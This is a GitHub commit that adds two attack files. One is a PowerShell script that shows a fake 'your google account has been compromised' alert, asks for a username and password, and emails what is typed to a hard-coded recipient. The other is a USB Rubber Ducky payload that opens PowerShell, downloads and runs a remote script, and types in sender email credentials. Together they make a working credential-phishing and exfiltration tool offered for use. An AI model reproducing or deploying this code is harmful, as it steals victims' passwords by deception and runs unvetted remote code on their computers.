Add files via upload

pull/95/head
Jack M 2022-05-31 20:53:48 +10:00 committed by GitHub
parent 072fc714a1
commit 7f2d41dab9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,13 @@
clear
$mycredentials = Get-Credential
Write-Host "ALERT your google account has been compromised! please enter your credentials for verification"
$name = Read-Host "Username/Email"
$pwd = Read-Host "password"
Send-MailMessage -SmtpServer smtp.gmail.com -Port 587 -UseSsl -From sendingemailhere -To receiveemailhere -Subject 'Hello from the ducky' -Body ("$name $pwd") -Credential ($mycredentials)
exit

View File

@ -0,0 +1,24 @@
DELAY 1000
GUI r
DELAY 500
STRING powershell -w maximized
ENTER
DELAY 200
REM now we read in the script as a scriptblock
STRING $script = [scriptblock]::Create((New-Object Net.WebClient).DownloadString('LINK HERE'));
DELAY 500
ENTER
DELAY 2000
STRING Invoke-Command -ScriptBlock $script
DELAY 500
ENTER
REM enter credentials for "Get-Credential" powershell module
DELAY 500
STRING firsthalfofemail
SHIFT 2
STRING gmail.com
DELAY 500
TAB
STRING PASSWORD
DELAY 500
ENTER